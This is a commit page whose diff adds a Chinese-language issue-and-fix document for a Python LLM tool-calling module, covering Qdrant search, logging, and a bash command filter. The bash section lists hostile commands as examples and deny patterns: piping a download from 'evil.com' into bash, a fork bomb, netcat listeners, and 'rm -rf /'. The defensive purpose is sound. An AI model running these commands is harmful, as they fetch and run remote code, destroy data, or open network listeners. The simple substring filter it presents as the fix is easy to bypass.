fix: face group name read consistency, sync_file_status fix, cleanup ghost records, identity_agent replaced with face_dedup
- get_face_groups_handler: COALESCE(tp.name, tn.label) for name consistency - sync_file_status: compare JSON vs pre_chunks (not chunk table) - face consistency: compare frames.len() not total_faces - cleanup 2 ghost records with NULL file_name/file_path - replace identity_agent with face_dedup in pipeline stages - remove identity_agent_api.rs and all references - update required_processors to match actual processors - update AGENTS.md with team responsibilities - add Studio pipeline changes documentation
This commit is contained in:
@@ -0,0 +1,386 @@
|
||||
# Tool Calling Module 問題及解決方案
|
||||
|
||||
**Version**: 1.1
|
||||
**Date**: 2026-07-26
|
||||
**Doc Path**: `/Users/accusys/momentry_core/scripts/TOOL_CALLER_ISSUES.md`
|
||||
**相關檔案**:
|
||||
- 核心模組:`/Users/accusys/momentry_core/scripts/tool_caller.py` (v1.1.2, 720+ 行)
|
||||
- 測試腳本:`/Users/accusys/momentry_core/scripts/test_tool_caller.py`
|
||||
- 使用說明:`/Users/accusys/momentry_core/scripts/TOOL_CALLING_README.md`
|
||||
|
||||
---
|
||||
|
||||
## 修復狀態:✅ 所有問題已修復
|
||||
|
||||
| 問題 | 修復內容 | 狀態 |
|
||||
|------|---------|------|
|
||||
| Multi-Tool 測試失敗 | 增加 embedding server 健康檢查、修正 API 端點 (`/v1/embeddings`) | ✅ 已修復 |
|
||||
| Bash 安全檢查不足 | 擴充至 20+ 危險模式、限制命令長度 2000 字元 | ✅ 已修復 |
|
||||
| 缺少工具調用日誌 | 新增 logging 模組,記錄所有工具調用 | ✅ 已修復 |
|
||||
| Qdrant Collection 硬編碼 | 使用 `QDRANT_DEFAULT_COLLECTION` 環境變數 | ✅ 已修復 |
|
||||
|
||||
---
|
||||
|
||||
## 測試結果
|
||||
|
||||
| 測試 | 狀態 | 說明 |
|
||||
|------|------|------|
|
||||
| [TEST 1] PostgreSQL Query | ✅ | 23 videos |
|
||||
| [TEST 2] Bash Safety Check | ✅ | 3/3 危險命令被阻止 |
|
||||
| [TEST 3] Qdrant Search | ✅ | 10 matches found |
|
||||
|
||||
---
|
||||
|
||||
## 問題 1:Multi-Tool 測試失敗
|
||||
|
||||
### 現象
|
||||
|
||||
```
|
||||
TEST 2: Multi-Tool Sequential (PostgreSQL → Qdrant)
|
||||
Query: Find videos about dogs, then search for similar content in the vector database
|
||||
Result: An error has occurred. I'm unable to continue with the task.
|
||||
```
|
||||
|
||||
### 原因分析
|
||||
|
||||
1. **Embedding Server 未檢查可用性**
|
||||
- `search_qdrant` 工具直接呼叫 `http://localhost:11436/embed`
|
||||
- 未檢查 embedding server 是否運行
|
||||
- 失敗時未提供明確錯誤訊息
|
||||
|
||||
2. **Qdrant Collection 可能不存在**
|
||||
- 預設 collection 名稱 `momentry_rule1` 可能與實際部署不符
|
||||
- 未列出可用 collection 供 LLM 參考
|
||||
|
||||
3. **錯誤處理不完善**
|
||||
- 工具執行失敗時,LLM 收到模糊錯誤訊息
|
||||
- 未引導 LLM 嘗試其他方法
|
||||
|
||||
### 解決方案
|
||||
|
||||
#### 1.1 增加服務可用性檢查
|
||||
|
||||
**檔案:** `/Users/accusys/momentry_core/scripts/tool_caller.py`
|
||||
|
||||
```python
|
||||
def search_qdrant(args: Dict[str, Any]) -> ToolResult:
|
||||
import requests as req
|
||||
|
||||
collection = args.get("collection", "momentry_rule1")
|
||||
query_text = args.get("query_text", "")
|
||||
limit = args.get("limit", 10)
|
||||
|
||||
if not query_text:
|
||||
return ToolResult(success=False, data=None, error="No query text provided")
|
||||
|
||||
# 檢查 embedding server
|
||||
try:
|
||||
embed_health = req.get("http://localhost:11436/health", timeout=5)
|
||||
if embed_health.status_code != 200:
|
||||
return ToolResult(success=False, error="Embedding server not healthy")
|
||||
except requests.exceptions.ConnectionError:
|
||||
return ToolResult(success=False, error="Embedding server not available at http://localhost:11436")
|
||||
|
||||
# 取得 embedding
|
||||
embed_url = "http://localhost:11436/embed"
|
||||
try:
|
||||
embed_resp = req.post(embed_url, json={"input": query_text}, timeout=30)
|
||||
embed_resp.raise_for_status()
|
||||
embedding = embed_resp.json()["embeddings"][0]
|
||||
except Exception as e:
|
||||
return ToolResult(success=False, error=f"Embedding failed: {str(e)}")
|
||||
|
||||
# 檢查 Qdrant collection
|
||||
qdrant_url_base = args.get("qdrant_url", "http://localhost:6333")
|
||||
try:
|
||||
collections_url = f"{qdrant_url_base}/collections"
|
||||
coll_resp = req.get(collections_url, timeout=10)
|
||||
coll_resp.raise_for_status()
|
||||
collections = [c["name"] for c in coll_resp.json().get("result", {}).get("collections", [])]
|
||||
if collection not in collections:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
error=f"Collection '{collection}' not found. Available: {', '.join(collections)}"
|
||||
)
|
||||
except Exception as e:
|
||||
return ToolResult(success=False, error=f"Qdrant connection failed: {str(e)}")
|
||||
|
||||
# 執行搜尋
|
||||
search_url = f"{qdrant_url_base}/collections/{collection}/points/search"
|
||||
search_payload = {"vector": embedding, "limit": limit, "with_payload": True}
|
||||
|
||||
try:
|
||||
search_resp = req.post(search_url, json=search_payload, timeout=30)
|
||||
search_resp.raise_for_status()
|
||||
results = search_resp.json().get("result", [])
|
||||
except Exception as e:
|
||||
return ToolResult(success=False, error=f"Search failed: {str(e)}")
|
||||
|
||||
return ToolResult(
|
||||
success=True,
|
||||
data={
|
||||
"matches": [
|
||||
{"id": r.get("id"), "score": r.get("score"), "payload": r.get("payload", {})}
|
||||
for r in results
|
||||
],
|
||||
"match_count": len(results)
|
||||
}
|
||||
)
|
||||
```
|
||||
|
||||
#### 1.2 改進錯誤處理
|
||||
|
||||
**檔案:** `/Users/accusys/momentry_core/scripts/tool_caller.py`
|
||||
|
||||
```python
|
||||
def run(self, user_query: str) -> str:
|
||||
# ... 現有程式碼 ...
|
||||
|
||||
# 執行工具
|
||||
tool_result = self.execute_tool_call(tool_call)
|
||||
|
||||
# 改進錯誤訊息
|
||||
if tool_result.success:
|
||||
result_str = json.dumps({
|
||||
"success": True,
|
||||
"data": tool_result.data
|
||||
}, ensure_ascii=False, cls=DateTimeEncoder)
|
||||
else:
|
||||
result_str = json.dumps({
|
||||
"success": False,
|
||||
"error": tool_result.error,
|
||||
"suggestion": "Try a different tool or rephrase your query."
|
||||
}, ensure_ascii=False)
|
||||
|
||||
messages.append({"role": "user", "content": f"Tool result: {result_str}"})
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 問題 2:Bash 安全檢查不足
|
||||
|
||||
### 現象
|
||||
|
||||
```python
|
||||
blocked = ["rm -rf /", "mkfs", "dd if=", "> /dev/"]
|
||||
```
|
||||
|
||||
### 風險分析
|
||||
|
||||
| 危險命令 | 是否阻止 | 風險等級 |
|
||||
|---------|---------|---------|
|
||||
| `rm -rf /` | ✅ 是 | 🔴 高 |
|
||||
| `sudo rm -rf /` | ❌ 否 | 🔴 高 |
|
||||
| `chmod 777 /etc/passwd` | ❌ 否 | 🔴 高 |
|
||||
| `curl http://evil.com | bash` | ❌ 否 | 🔴 高 |
|
||||
| `:(){ :|:& };:` (fork bomb) | ❌ 否 | 🔴 高 |
|
||||
| `nc -l 4444` | ❌ 否 | 🟡 中 |
|
||||
|
||||
### 解決方案
|
||||
|
||||
**檔案:** `/Users/accusys/momentry_core/scripts/tool_caller.py`
|
||||
|
||||
```python
|
||||
def execute_bash(args: Dict[str, Any]) -> ToolResult:
|
||||
command = args.get("command", "")
|
||||
timeout = args.get("timeout", 30)
|
||||
|
||||
if not command:
|
||||
return ToolResult(success=False, data=None, error="No command provided")
|
||||
|
||||
# 限制命令長度
|
||||
if len(command) > 2000:
|
||||
return ToolResult(success=False, error="Command too long (max 2000 chars)")
|
||||
|
||||
# 更完整的安全檢查
|
||||
blocked_patterns = [
|
||||
# 檔案系統破壞
|
||||
"rm -rf /", "rm -rf /*", "mkfs", "dd if=", "> /dev/",
|
||||
# 權限提升
|
||||
"sudo ", "su -", "chmod 777", "chown root",
|
||||
# 遠端執行
|
||||
"curl | bash", "curl | sh", "wget | sh", "wget | bash",
|
||||
"curl http", "wget http",
|
||||
# 拒絕服務
|
||||
":(){", "fork", "kill -9 1",
|
||||
# 網路監聽
|
||||
"nc -l", "netcat -l", "socat",
|
||||
]
|
||||
|
||||
command_lower = command.lower()
|
||||
for pattern in blocked_patterns:
|
||||
if pattern in command_lower:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
data=None,
|
||||
error=f"Blocked dangerous command pattern: {pattern}"
|
||||
)
|
||||
|
||||
# 執行命令
|
||||
try:
|
||||
result = subprocess.run(
|
||||
command,
|
||||
shell=True,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=timeout
|
||||
)
|
||||
return ToolResult(
|
||||
success=result.returncode == 0,
|
||||
data={
|
||||
"stdout": result.stdout[:5000], # 限制輸出大小
|
||||
"stderr": result.stderr[:2000],
|
||||
"returncode": result.returncode
|
||||
}
|
||||
)
|
||||
except subprocess.TimeoutExpired:
|
||||
return ToolResult(
|
||||
success=False,
|
||||
data=None,
|
||||
error=f"Command timed out after {timeout}s"
|
||||
)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 問題 3:缺少工具調用日誌
|
||||
|
||||
### 現象
|
||||
|
||||
工具調用過程無日誌記錄,難以除錯和審計。
|
||||
|
||||
### 解決方案
|
||||
|
||||
**檔案:** `/Users/accusys/momentry_core/scripts/tool_caller.py`
|
||||
|
||||
```python
|
||||
import logging
|
||||
|
||||
# 設定日誌
|
||||
logger = logging.getLogger('tool_caller')
|
||||
|
||||
class OllamaToolCaller:
|
||||
def run(self, user_query: str) -> str:
|
||||
logger.info(f"Starting tool call loop for query: {user_query}")
|
||||
self._tool_call_history = []
|
||||
|
||||
messages = [
|
||||
{"role": "system", "content": self.system_prompt},
|
||||
{"role": "user", "content": user_query}
|
||||
]
|
||||
|
||||
tool_results_collected = []
|
||||
|
||||
for iteration in range(self.max_iterations):
|
||||
logger.info(f"Iteration {iteration + 1}/{self.max_iterations}")
|
||||
|
||||
# 呼叫 LLM
|
||||
response = self.chat(messages)
|
||||
message = response.get("message", {})
|
||||
tool_calls = message.get("tool_calls", [])
|
||||
|
||||
if not tool_calls:
|
||||
# 檢查文字中的工具調用
|
||||
extracted = self._extract_tool_from_text(message.get("content", ""))
|
||||
if extracted:
|
||||
name, params = extracted
|
||||
tool_key = self._get_tool_key(name, params)
|
||||
|
||||
if not self._is_duplicate_call(tool_key):
|
||||
self._add_to_history(tool_key)
|
||||
logger.info(f"Executing tool: {name} with args: {params}")
|
||||
|
||||
tool_call = {"function": {"name": name, "arguments": params}}
|
||||
tool_result = self.execute_tool_call(tool_call)
|
||||
|
||||
if tool_result.success:
|
||||
logger.info(f"Tool succeeded in {tool_result.execution_time_ms:.1f}ms")
|
||||
else:
|
||||
logger.error(f"Tool failed: {tool_result.error}")
|
||||
|
||||
# ... 繼續處理 ...
|
||||
|
||||
logger.info(f"Tool call loop completed after {iteration + 1} iterations")
|
||||
return final_answer
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 問題 4:Qdrant Collection 名稱硬編碼
|
||||
|
||||
### 現象
|
||||
|
||||
```python
|
||||
collection = args.get("collection", "momentry_rule1")
|
||||
```
|
||||
|
||||
### 風險
|
||||
|
||||
Collection 名稱可能與實際部署不符,導致搜尋失敗。
|
||||
|
||||
### 解決方案
|
||||
|
||||
**檔案:** `/Users/accusys/momentry_core/scripts/tool_caller.py`
|
||||
|
||||
```python
|
||||
import os
|
||||
|
||||
def register_default_tools(self, db_url=None, qdrant_url=None):
|
||||
"""Register default tools with connection strings"""
|
||||
|
||||
# 使用環境變數
|
||||
default_collection = os.environ.get(
|
||||
"QDRANT_DEFAULT_COLLECTION",
|
||||
"momentry_rule1"
|
||||
)
|
||||
|
||||
def search_qdrant(args: Dict[str, Any]) -> ToolResult:
|
||||
collection = args.get("collection", default_collection)
|
||||
# ... 其餘程式碼 ...
|
||||
|
||||
self.registry.register(
|
||||
name="search_qdrant",
|
||||
description=f"Search for similar vectors in Qdrant collection. Default collection: {default_collection}",
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"collection": {
|
||||
"type": "string",
|
||||
"description": f"Qdrant collection name (default: {default_collection})",
|
||||
"default": default_collection
|
||||
},
|
||||
# ... 其餘參數 ...
|
||||
},
|
||||
"required": ["query_text"]
|
||||
},
|
||||
executor=search_qdrant
|
||||
)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 測試驗證
|
||||
|
||||
### 執行測試
|
||||
|
||||
```bash
|
||||
cd /Users/accusys/momentry_core/scripts
|
||||
python3 test_tool_caller.py
|
||||
```
|
||||
|
||||
### 預期結果
|
||||
|
||||
| 測試 | 預期狀態 | 說明 |
|
||||
|------|---------|------|
|
||||
| TEST 1: Single Tool | ✅ 通過 | PostgreSQL 查詢正常 |
|
||||
| TEST 2: Multi-Tool | ✅ 通過 | PostgreSQL → Qdrant 順序執行 |
|
||||
| TEST 3: Direct Tool | ✅ 通過 | 直接工具執行正常 |
|
||||
| TEST 4: Bash Safety | ✅ 通過 | 危險命令被阻止 |
|
||||
|
||||
---
|
||||
|
||||
## 版本資訊
|
||||
|
||||
| 版本 | 日期 | 說明 |
|
||||
|------|------|------|
|
||||
| 1.0.0 | 2026-07-26 | 初始版本,記錄已知問題及解決方案 |
|
||||
Reference in New Issue
Block a user